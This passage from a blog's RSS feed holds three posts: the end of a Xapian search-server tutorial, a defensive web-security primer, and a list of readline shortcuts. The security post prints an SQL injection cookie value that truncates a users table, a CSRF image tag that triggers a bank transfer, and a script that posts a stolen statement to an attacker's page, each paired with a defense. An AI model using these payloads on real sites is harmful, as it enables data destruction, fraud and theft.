<p><span class="kw1">def</span> index<span class="br0">&#40;</span>db, period<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; <span class="st0">&quot;&quot;</span><span class="st0">&quot;Index all articles that were modified<br />
&nbsp; &nbsp; in the last &lt;period&gt; hours into the given<br />
&nbsp; &nbsp; Xapian database&quot;</span><span class="st0">&quot;&quot;</span></p>
<p>&nbsp; &nbsp; <span class="kw1">if</span> period:<br />
&nbsp; &nbsp; &nbsp; &nbsp; start = <span class="kw3">datetime</span>.<span class="me1">now</span><span class="br0">&#40;</span><span class="br0">&#41;</span>-timedelta<span class="br0">&#40;</span>hours=period<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; query = <span class="br0">&#40;</span>Article.<span class="me1">q</span>.<span class="me1">last_modified</span>&gt;start<span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; query = <span class="kw2">None</span><br />
&nbsp; &nbsp; articles = session.<span class="me1">query</span><span class="br0">&#40;</span>Article<span class="br0">&#41;</span>.<span class="kw3">select</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;query<span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; <span class="kw1">for</span> article <span class="kw1">in</span> articles:<br />
&nbsp; &nbsp; &nbsp; &nbsp; doc, id_term = create_document<span class="br0">&#40;</span>article<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;db.<span class="me1">replace_document</span><span class="br0">&#40;</span>id_term, doc<span class="br0">&#41;</span></p>
<p><span class="kw1">if</span> __name__==<span class="st0">&quot;__main__&quot;</span>:<br />
&nbsp; &nbsp; configfile, dbpath, period = <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span>:<span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp;turbogears.<span class="me1">update_config</span><span class="br0">&#40;</span>configfile=configfile,<br />
&nbsp; &nbsp; &nbsp; &nbsp; modulename=<span class="st0">&quot;myproject.config&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">from</span> myproject.<span class="me1">model</span> <span class="kw1">import</span> *<br />
&nbsp; &nbsp; turbogears.<span class="me1">database</span>.<span class="me1">bind_meta_data</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; db = xapian.<span class="me1">WritableDatabase</span><span class="br0">&#40;</span>dbpath,<br />
&nbsp; &nbsp; &nbsp; &nbsp; xapian.<span class="me1">DB_CREATE_OR_OPEN</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; index<span class="br0">&#40;</span>db, <span class="kw2">int</span><span class="br0">&#40;</span>period<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
<p>All strings that are passed to Xapian functions must be encoded in UTF-8. The create_document() function splits the article’s text into words, stems them, and then adds them one by one to the Xapian document. Next, a term with the username of the article’s author, prefixed by the letter &#8216;A,&#8217; and the article’s subject, prefixed by the letter &#8216;S&#8217; is added. Xapian gives special treatment to the first character of each term (i.e., it gives the terms its meaning). You&#8217;ll see how we use these terms when we code the search server.</p>
<p>Another term, this one prefixed by the letter &#8216;I&#8217;,&#8217; is now added to render a unique article ID. The article ID is also assigned to the document as a value. This number relates a Xapian document to its authentic source in the SQL server.</p>
<p>The index() method function simply selects the relevant articles and builds a Xapian document object for them. Instead of using add_document(), which can cause an article to be indexed multiple times in the database, we use replace_document(), which is given a unique term. If a document is already indexed by the given term, it will be replaced with the given document; otherwise, a new document will be added to the database.</p>
<p>After the data is indexed, it is time to make it searchable.</p>
<h2>The Search Server: Seeing Results</h2>
<p>The role of the search server is to obtain queries from the application and to then return results. As we strive for a single-threaded implementation, the Twisted framework makes it extremely easy to write the code for this server. If you are not familiar with Twisted or XML RPC, don&#8217;t worry; just imagine we’re writing a controller with only one method exposed: xmlrpc_search().</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw1">import</span> xapian</p>
<p><span class="kw1">from</span> twisted.<span class="me1">web</span> <span class="kw1">import</span> xmlrpc, server<br />
<span class="kw1">from</span> twisted.<span class="me1">internet</span> <span class="kw1">import</span> reactor, task<br />
<span class="kw1">from</span> <span class="kw3">time</span> <span class="kw1">import</span> <span class="kw3">time</span><br />
<span class="kw1">from</span> indexer <span class="kw1">import</span> ARTICLE_ID</p>
<p>DEFAULT_SEARCH_FLAGS = <span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; xapian.<span class="me1">QueryParser</span>.<span class="me1">FLAG_BOOLEAN</span> |<br />
&nbsp; &nbsp; &nbsp; &nbsp; xapian.<span class="me1">QueryParser</span>.<span class="me1">FLAG_PHRASE</span> |<br />
&nbsp; &nbsp; &nbsp; &nbsp; xapian.<span class="me1">QueryParser</span>.<span class="me1">FLAG_LOVEHATE</span> |<br />
&nbsp; &nbsp; &nbsp; &nbsp; xapian.<span class="me1">QueryParser</span>.<span class="me1">FLAG_BOOLEAN_ANY_CASE</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span></p>
<p><span class="kw1">class</span> SearchServer<span class="br0">&#40;</span>xmlrpc.<span class="me1">XMLRPC</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>, db<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; xmlrpc.<span class="me1">XMLRPC</span>.<span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">db</span> = xapian.<span class="me1">Database</span><span class="br0">&#40;</span>db<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="kw3">parser</span> = xapian.<span class="me1">QueryParser</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="kw3">parser</span>.<span class="me1">add_prefix</span><span class="br0">&#40;</span><span class="st0">&quot;author&quot;</span>, <span class="st0">&quot;A&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="kw3">parser</span>.<span class="me1">add_prefix</span><span class="br0">&#40;</span><span class="st0">&quot;subject&quot;</span>, <span class="st0">&quot;S&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="kw3">parser</span>.<span class="me1">set_stemmer</span><span class="br0">&#40;</span>xapian.<span class="me1">Stem</span><span class="br0">&#40;</span><span class="st0">&quot;en&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="kw3">parser</span>.<span class="me1">set_stemming_strategy</span><span class="br0">&#40;</span>xapian.<span class="me1">QueryParser</span>.<span class="me1">STEM_SOME</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1"># make sure database is reloaded every 10 minutes</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; lc = task.<span class="me1">LoopingCall</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">reopen_db</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; lc.<span class="me1">start</span><span class="br0">&#40;</span><span class="nu0">600</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> reopen_db<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">try</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">db</span>.<span class="me1">reopen</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">except</span> <span class="kw2">IOError</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Unable to open database&quot;</span></p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> xmlrpc_search<span class="br0">&#40;</span><span class="kw2">self</span>, query, offset, count<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;&quot;</span><span class="st0">&quot;Search the database for &lt;query&gt;, return<br />
&nbsp; &nbsp; &nbsp; &nbsp; results[offest:offset+count], sorted by relevancy&quot;</span><span class="st0">&quot;&quot;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; query = <span class="kw2">self</span>.<span class="kw3">parser</span>.<span class="me1">parse_query</span><span class="br0">&#40;</span>query.<span class="me1">encode</span><span class="br0">&#40;</span><span class="st0">&quot;utf8&quot;</span><span class="br0">&#41;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DEFAULT_SEARCH_FLAGS<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; enquire = xapian.<span class="me1">Enquire</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">db</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; enquire.<span class="me1">set_query</span><span class="br0">&#40;</span>query<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">try</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mset = enquire.<span class="me1">get_mset</span><span class="br0">&#40;</span>offset, count<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">except</span> <span class="kw2">IOError</span>, e:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="st0">&quot;DatabaseModifiedError&quot;</span> <span class="kw1">in</span> <span class="kw2">str</span><span class="br0">&#40;</span>e<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">reopen_db</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">raise</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; results = <span class="br0">&#91;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> m <span class="kw1">in</span> mset:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; results.<span class="me1">append</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><span class="st0">&quot;percent&quot;</span>: m<span class="br0">&#91;</span>xapian.<span class="me1">MSET_PERCENT</span><span class="br0">&#93;</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;article_id&quot;</span>: m<span class="br0">&#91;</span>xapian.<span class="me1">MSET_DOCUMENT</span><span class="br0">&#93;</span>.<span class="me1">get_value</span><span class="br0">&#40;</span>ARTICLE_ID<span class="br0">&#41;</span><span class="br0">&#125;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="br0">&#123;</span><span class="st0">&quot;count&quot;</span>: mset.<span class="me1">get_matches_upper_bound</span><span class="br0">&#40;</span><span class="br0">&#41;</span>, <span class="st0">&quot;results&quot;</span>: results<span class="br0">&#125;</span><br />
<span class="kw1">import</span> <span class="kw3">sys</span></p>
<p><span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span>!=<span class="nu0">3</span>:<br />
&nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Usage: search.py &lt;port&gt; &lt;db&gt;&quot;</span><br />
&nbsp; &nbsp; <span class="kw3">sys</span>.<span class="me1">exit</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span></p>
<p>reactor.<span class="me1">listenTCP</span><span class="br0">&#40;</span><span class="kw2">int</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span>, server.<span class="me1">Site</span><span class="br0">&#40;</span>SearchServer<span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
reactor.<span class="me1">run</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
<p>The search server constructor opens a database and initializes a query parser. We tell the query parser that the keyword &#8216;author&#8217; refers to terms that are prefixed with the letter &#8216;A&#8217; and that the keyword &#8216;subject&#8217; refers to terms that are prefixed with the letter &#8216;S.&#8217; This specification makes it possible to search for &#8220;author:john&#8221; or &#8220;subject:xapian.&#8221;</p>
<p>We then instruct Twisted to call reopen_db() every ten minutes. This reopening renders the latest changes in the database available to the search server. Each time Xapian&#8217;s library opens the database, it works against a fixed revision of it.</p>
<p>The xmlrpc_search() is the only method that is exposed (since its name is prefixed by xmlrpc_). The offset (zero-based) and limit arguments allow for an efficient way to split the search results into several pages. The call returns a dictionary with the total number of available results and a list with the selected subset of results. Each item in the list contains a unique article_id and a percent, which indicates each document’s relevancy score.</p>
<p>The program receives the port number to listen on and the Xapian database path. Unless you&#8217;d like to expose your search functionality to the world, it is suggested that you block outside access to this port.</p>
<p>By now, you’re probably eager to try searching your own database. Here&#8217;s a quick way to do so. First, start the search server:</p>
<div class="dean_ch" style="white-space: wrap;">
$ python search.py 3000 ./my_database</div>
<p>From another terminal, start a Python shell:</p>
<div class="dean_ch" style="white-space: wrap;">
&gt;&gt;&gt; <span class="kw1">import</span> <span class="kw3">xmlrpclib</span><br />
&gt;&gt;&gt; s = <span class="kw3">xmlrpclib</span>.<span class="me1">Server</span><span class="br0">&#40;</span><span class="st0">&#8216;http://localhost:3000&#8242;</span><span class="br0">&#41;</span><br />
&gt;&gt;&gt; s.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&#8216;python -snake&#8217;</span>, <span class="nu0">0</span>, <span class="nu0">10</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><span class="st0">&#8216;count&#8217;</span>: <span class="nu0">2</span>, <span class="st0">&#8216;results&#8217;</span>: <span class="br0">&#91;</span><span class="br0">&#123;</span><span class="st0">&#8216;percent&#8217;</span>: <span class="nu0">94</span>, <span class="st0">&#8216;article_id&#8217;</span>: <span class="nu0">15</span><span class="br0">&#125;</span>, <span class="br0">&#123;</span><span class="st0">&#8216;percent&#8217;</span>: <span class="nu0">79</span>, <span class="st0">&#8216;article_id&#8217;</span>: <span class="nu0">6</span><span class="br0">&#125;</span><span class="br0">&#93;</span><span class="br0">&#125;</span></div>
<p>In the same manner, you can use the search server from your application.</p>
<h2>Working with Smaller Databases</h2>
<p>Search engines are optimized to return results that are sorted according to their relevancy. If you need your results sorted by another criterion, such as date or diggs, it might be useful to run the query over a smaller database. For example, you might try running it over a database that contains only articles from the previous month. This strategy can significantly increase your overall performance.</p>
<h2>Alternatives to Xapian</h2>
<p>While I haven&#8217;t tried working with search engines libraries other than Xapian, you can try the Java-based <a href="http://lucene.apache.org/">Lucene</a> which can be accessed from Python using <a href="http://pylucene.osafoundation.org/">PyLucene</a>. The <a href="http://dev.krys.ca/turbolucene">TurboLucene</a> library eases using PyLucene from TurboGears.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thesamet.com/blog/2007/02/04/pumping-up-your-applications-with-xapian-full-text-search/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Prepare for Attack!—Making Your Web Applications More Secure</title>
		<link>http://www.thesamet.com/blog/2007/01/16/prepare-for-attack%e2%80%94making-your-web-applications-more-secure/</link>
		<comments>http://www.thesamet.com/blog/2007/01/16/prepare-for-attack%e2%80%94making-your-web-applications-more-secure/#comments</comments>
		<pubDate>Tue, 16 Jan 2007 07:44:53 +0000</pubDate>
		<dc:creator>thesamet</dc:creator>
				<category><![CDATA[python]]></category>
		<category><![CDATA[turbogears]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.thesamet.com/blog/2007/01/16/prepare-for-attack%e2%80%94making-your-web-applications-more-secure/</guid>
		<description><![CDATA[Arm yourself and prepare for battle! This post is intended as a reminder about the possible security attacks your Web application may be vulnerable to. While it is not meant as a comprehensive guide to Web-application security, it can give &#8230; <a href="http://www.thesamet.com/blog/2007/01/16/prepare-for-attack%e2%80%94making-your-web-applications-more-secure/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/01/computer_security.jpg" title="Computer Security" alt="Computer Security" align="right" />Arm yourself and prepare for battle! This post is intended as a reminder about the possible security attacks your Web application may be vulnerable to. While it is not meant as a comprehensive guide to Web-application security, it can give you some ideas on how to better protect your applications.</p>
<h2>SQL Injection Attacks</h2>
<p>The joy of using an ORM like SQLAlchemy or SQLObject—in addition to the benefit of not having to write a single SQL statement yourself—is its ability to protect you from SQL Injection attacks. Although this built-in security measure affords you protection, it is important to understand how SQL injection attacks work.</p>
<p>If an application contains code that looks like this…</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw1">def</span> get_user<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; mysql.<span class="me1">execute</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;SELECT * FROM users WHERE user_id=&#8217;%s&#8217;&quot;</span> %<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cherrypy.<span class="me1">request</span>.<span class="me1">cookies</span><span class="br0">&#91;</span><span class="st0">&#8216;user_id&#8217;</span><span class="br0">&#93;</span>.<span class="me1">value</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &#8230;</div>
<p>…then you are vulnerable to the stinging strikes of a malicious user. That&#8217;s because he or she can craft a cookie with the value of <code>"someonebad';<br />
TRUNCATE TABLE users; SELECT '"</code>. The SQL statement that will be executed will then be:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw1">SELECT</span> * <span class="kw1">FROM</span> users <span class="kw1">WHERE</span> user_id=<span class="st0">&#8216;someonebad&#8217;</span>;<br />
&nbsp; &nbsp; &nbsp;<span class="kw1">TRUNCATE</span> <span class="kw1">TABLE</span> users; <span class="kw1">SELECT</span> <span class="st0">&#8221;</span></div>
<p>…which is not good, not good indeed!</p>
<p>To see just how bad the situation really is for our fellows in PHP land, have a look at <a href="http://www.google.com/codesearch?hl=en&amp;lr=&amp;q=lang%3Aphp+query%5C%28.*%5C%24_%28GET%7CPOST%7CCOOKIE%7CREQUEST%7CFILES%29.*%5C%29&amp;btnG=Search">these Google code search results</a>, or for our little brothers in ASP land, <a href="http://www.google.com/codesearch?hl=en&amp;lr=&amp;q=lang%3Aasp+SELECT.*WHERE.*request.querystring&amp;btnG=Search">have a look here</a>. Please act responsibly and don&#8217;t hack into the sites listed there. <img src='http://www.thesamet.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Luckily, ORMs escape all the strings we send to the database engine, and as a result, we are protected from this kind of harmful attack.</p>
<h2>XSRF: Cross-Site Request Forgery</h2>
<p>This exploit is very common in Web applications, especially in those that provide AJAX API. It is best to describe this type of attack with an example. Suppose that an imaginary project, TGBank (which is a Web interface for a bank), has a send_money() method:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; @expose<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">def</span> send_money<span class="br0">&#40;</span><span class="kw2">self</span>, to_whom, how_much<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1"># validate that user has enough money</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; transfer_money<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; from_user=identity.<span class="me1">current</span>.<span class="kw3">user</span>.<span class="me1">user_id</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; to_user=to_whom,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; amount=<span class="kw2">float</span><span class="br0">&#40;</span>how_much<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; turbogears.<span class="me1">redirect</span><span class="br0">&#40;</span><span class="st0">&#8216;/&#8217;</span><span class="br0">&#41;</span></div>
<p>The bank site using this application might contain a page with a &#8220;send money&#8221; form, where the user fills in information such as to whom he is transferring the money and how much money he is transferring. Everything&#8217;s find and dandy there. But what if the user is connected to the bank site, and in another browser tab, he is simultaneously browsing a malicious site, one that contains the following img tag?</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="sc3"><span class="re1">&lt;img</span> <span class="re0">src</span>=<span class="st0">&quot;http://www.tgbank.com/send_money?<br />
&nbsp; &nbsp; &nbsp; &nbsp;to_whom=thesamet&amp;amp;how_much=0.04&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;0&quot;</span><span class="re2">&gt;</span></span></div>
<p>Then the user&#8217;s browser will trigger that operation on behalf of the unsuspecting and innocent Web visitor. And because it&#8217;s such and inconsequential amount, he probably won&#8217;t even bother to check about those four cents.</p>
<p>Allowing only POST requests to go into send_money() will not help the matter. That&#8217;s because it is easy to send POST requests using Javascript. On the other hand, checking that the HTTP referrer header of the request is within one&#8217;s domain is too restrictive. That&#8217;s because many browsers often do not send this header.</p>
<p>A possible solution is to add a hidden field that only your application can generate and validate. For example, you might consider that the application will process the request only if received a query argument with the value of a sha1 digest of a string that is composed of the user id and a secret word. This string can be easily validated by your application, but it will be hard for a malicious site to generate.</p>
<h2>Utterly Ridiculous!—More XSRF: Stealing Information with Scriptaculous</h2>
<p>In addition to doing serious damage, this type of attack can be used to steal information. Suppose the bank application previously mentioned has a URL that returns Javascript code that defines a list with your monthly statement (list of expenses). It may be used on the bank site for doing client side sorting. A malicious site might contain something like this:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="sc3"><span class="re1">&lt;script</span> <span class="re0">src</span>=<span class="st0">&quot;http://www.tgbank.com/monthly_statement.js&quot;</span> <span class="re0">type</span>=<span class="st0">&quot;text/javascript&quot;</span><span class="re2">&gt;</span></span><span class="sc3"><span class="re1">&lt;/script<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;script</span> <span class="re0">type</span>=<span class="st0">&quot;text/javascript&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; function send_data_to_the_criminal() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; /* code that converts the statement<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; object to string goes here */<br />
&nbsp; &nbsp; &nbsp; &nbsp; Ajax.Request(&#8216;/collect_other_people_data.php&#8217;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; postBody=&#8217;data=&#8217;+statement;<br />
&nbsp; &nbsp; }<br />
window.onload = send_data_to_the_criminal;<br />
<span class="sc3"><span class="re1">&lt;/script<span class="re2">&gt;</span></span></span></div>
<p>Here, that dastardly attacker placed code on his site, that executes the monthly statement script from the bank&#8217;s site. Once that script is executed, we have an object named statement containing a list of monthly expenses. Then, after the document finished loading, it is transmitted right into the waiting attacker&#8217;s hands.</p>
<p>Recently, <a href="http://www.oreillynet.com/xml/blog/2007/01/gmail_exploit_contact_list_hij.html">an XSRF flaw was discovered (and fixed) in GMail</a>. This vulnerability allowed an attacker to steal the user&#8217;s contact list precisely as just mentioned.</p>
<h2>Assault&#8211;Take Two! XSS: Cross-Site Scripting</h2>
<p>Cross-site scripting vulnerability occurs when a Web application generates output that contains user-supplied data without HTML encoding. For example, if we allow a post in a forum to contain HTML tags, then we can use KID to display it:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;div<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ${XML(forum_post.body)}<br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/div<span class="re2">&gt;</span></span></span></div>
<p>Raising the ax yet again, a vile attacker can embed javascript code into his post. Then, when an innocent user visits the page, his or her browser runs the script, unbeknownst to him or her. This script can, for example, send the contents of the page back to the attacker. It might also post a comment to a blog, in the unsuspecting user&#8217;s name, or <a href="http://news.com.com/Samy+opens+new+front+in+worm+war/2100-7349_3-5897099.html">make new friends for him or her in MySpace</a>.</p>
<p>If we do not use the XML() function in KID, then HTML entities are escaped and we are safe. The users will see just the script text and the browser will not interpret it as code. That said, if XML() <em>is</em> to be used, then it is suggested one check whether the string contains <code>'&lt;script'</code> (case insensitive) before actually sending it. You should also beware of spaces between the script and its surrounding &lt; and &gt;, although I haven&#8217;t tested which browsers allow it. Note that most HTML elements allow attributes that can contain javascript code like onmouseover or onclick. The safest thing would be to escape all &lt; to &lt; (Python has a cgi.escape function for this). If HTML tags are to be allowed, then the application should carefully check that they contain only permitted attributes. Also the href attribute of &lt;a&gt; tag should be checked that it does not contain something like &#8220;javascript:do_something()&#8221;. That way, those malicious attackers can be forced to drop their weapons before they have time to draw them.</p>
<p>Now that you&#8217;ve learned how to preempt attacks before they strike, you&#8217;re well on your way to a more enjoyable Web application development experience. Comments and questions about the strategies outlined here are welcomed. We also encourage suggestions on how you&#8217;ve successful waged war against security attackers.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thesamet.com/blog/2007/01/16/prepare-for-attack%e2%80%94making-your-web-applications-more-secure/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>Efficient Editing In The Command Line: Part 1</title>
		<link>http://www.thesamet.com/blog/2006/12/12/efficient-editing-in-the-command-line-part-1/</link>
		<comments>http://www.thesamet.com/blog/2006/12/12/efficient-editing-in-the-command-line-part-1/#comments</comments>
		<pubDate>Tue, 12 Dec 2006 22:31:29 +0000</pubDate>
		<dc:creator>thesamet</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.thesamet.com/blog/2006/12/12/efficient-editing-in-the-command-line-part-1/</guid>
		<description><![CDATA[If you are like me, spending a lot of time in the command line, you might be looking for ways to edit the command lines more efficiently. Many interactive UNIX programs implement line editing by using GNU&#8217;s readline library. This &#8230; <a href="http://www.thesamet.com/blog/2006/12/12/efficient-editing-in-the-command-line-part-1/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><!--adsense#square-->If you are like me, spending a lot of time in the command line, you might be looking for ways to edit the command lines more efficiently. Many interactive UNIX programs implement line editing by using <a href="http://tiswww.case.edu/~chet/readline/rltop.html">GNU&#8217;s readline library</a>. This means that all these programs, which include the different shells, Python and many others, offer the same set of keyboard shortcuts. Mastering these shortcuts is worthwhile, since you&#8217;ll be able to use them over and over again in many places.</p>
<h2>Moving around quickly</h2>
<p>The most basic part is to move to the place you want to edit quickly. Here are the most useful shortcuts:</p>
<ul>
<li><strong>Ctrl-a</strong> &#8211; Move to the start of the line.</li>
<li><strong>Ctrl-e</strong> &#8211; Move to the end of the line.</li>
<li><strong>Alt-f</strong> &#8211; Move forward a word.</li>
<li><strong>Ctrl-f</strong> &#8211; Move forward a char.</li>
<li><strong>Alt-b</strong> &#8211; Move backward a word.</li>
<li><strong>Ctrl-b</strong> &#8211; Move backward a char.</li>
</ul>
<p>Another very common shortcut is Ctrl-L which clears the screen and reprints the current line at the top. This is useful if you are organizing your movies library and somebody enters the room.</p>
<h2>Cut, Paste and Undo</h2>
<p>Here is the list of most useful shortcuts for deleting text:</p>
<ul>
<li><strong>Ctrl-w</strong> &#8211; Deletes from cursor position to the previous whitespace.</li>
<li><strong>Ctrl-k</strong> &#8211; Deletes from cursor position to the end of the line.</li>
<li><strong>Ctrl-d</strong> &#8211; Deletes from current character.</li>
<li><strong>Ctrl-u</strong> &#8211; Deletes from whole line.</li>
<li><strong>Alt-d</strong> &#8211; Deletes from cursor position to the end of the current word.</li>
<li><strong>Alt-DEL</strong> &#8211; Deletes from cursor position to the start of the current word.</li>
</ul>
<p>The deleted text can be pasted (yanked) using Ctrl-y. You can use Ctrl-_ or Ctrl-X-U to undo the last editing command. </p>
<h2>Summary</h2>
<p>This covers the essentials. On the next parts of this series we&#8217;ll explore the more powerful abilities of readline. Feel free to leave here questions, suggestions, or perhaps your own tips and tricks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thesamet.com/blog/2006/12/12/efficient-editing-in-the-command-line-part-1/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

